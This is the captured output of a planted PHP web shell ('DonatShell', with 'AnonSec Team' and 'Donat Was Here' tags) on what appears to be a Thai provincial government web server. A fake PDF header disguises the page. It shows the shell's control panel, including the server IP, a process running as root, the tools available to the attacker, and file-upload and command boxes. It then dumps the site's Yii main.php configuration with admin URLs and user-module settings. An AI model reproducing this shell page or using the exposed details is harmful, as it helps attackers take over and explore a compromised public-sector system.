%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/common/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/common/config/main.php
<?php

return [
    'language' => 'th_TH',
    'aliases' => [
        '@bower' => '@vendor/bower-asset',
        '@npm' => '@vendor/npm-asset',
    ],
    'vendorPath' => dirname(dirname(__DIR__)) . '/vendor',
    'components' => [
        'thaiFormatter' => [
            'class' => 'dixonsatit\thaiYearFormatter\ThaiYearFormatter',
        ],
        'formatter' => [
//            'class' => 'yii\i18n\Formatter',
            'nullDisplay' => '',
            'dateFormat' => 'dd.MM.yyyy',
            'datetimeFormat' => 'php:Y-m-d H:i:s',
            'currencyCode' => 'THB',
            'thousandSeparator' => ',',
            'decimalSeparator' => '.',
            'defaultTimeZone' => 'Asia/Bangkok',
        ],
        'cache' => [
            'class' => 'yii\caching\FileCache',
        ],
        'authManager' => [
            'class' => 'yii\rbac\DbManager',
            'defaultRoles' => ['booking', 'booking'],
        ],
        'user' => [
//            'identityClass' => 'common\models\User',
            'identityClass' => 'dektrium\user\models\User',
            'enableAutoLogin' => true,
            'authTimeout' => 3600 * 4,
//            'identityCookie' => ['name' => '_identity-backend', 'httpOnly' => true],
        ],
        'urlManager' => [
            'class' => 'yii\web\UrlManager',
            'enablePrettyUrl' => true,
            'showScriptName' => false,
            'enableStrictParsing' => false,
            'rules' => [
                '<controller:\w+>/<id:\d+>' => '<controller>/view',
                '<controller:\w+>/<action:\w+>/<id:\d+>' => '<controller>/<action>',
                '<controller:\w+>/<action:\w+>' => '<controller>/<action>',
                'module/<module:\w+>/<controller:\w+>/<action:\w+>' => '<module>/<controller>/<action>',
            ],
        ],
        'urlBackend' => [
            'class' => 'yii\web\urlManager',
            'baseUrl' => 'https://adminbm.ppao.go.th',
        ],
        'urlFrontend' => [
            'class' => 'yii\web\urlManager',
            'baseUrl' => 'https://ppaobm.ppao.go.th',
        ],
    ],
    'modules' => [
        'user' => [
            'class' => 'dektrium\user\Module',
            'as backend' => 'dektrium\user\filters\BackendFilter',
            'enableConfirmation' => false,
            'enableUnconfirmedLogin' => false,
            'urlRules' => [],
            'confirmWithin' => 21600,
            'cost' => 12,
            'admins' => ['admin'],
            'enableFlashMessages' => true,
            'controllerMap' => [
                'settings' => [
                    'class' => 'backend\controllers\user\SettingsController',
                ],
                'admin' => 'backend\controllers\AdminController',
                'profile' => 'backend\controllers\ProfileController',
//                'security' => 'backend\controllers\SecurityController',
            ],
            'modelMap' => [
//                'User' => 'backend\models\User',
                'Profile' => 'backend\models\Profile',
            ],
        //'as backend' => 'dektrium\user\filters\BackendFilter',
        ],
        'admin' => [
            'class' => 'mdm\admin\Module',
            'layout' => 'left-menu',
            'controllerMap' => [
                'assignment' => [
                    'class' => 'mdm\admin\controllers\AssignmentController',
                    'userClassName' => 'dektrium\user\models\User',
                //เรียกใช้โมเดล user ของ dektrium
                ]
            ],
        ],
    ],
];

Anon7 - 2022
AnonSec Team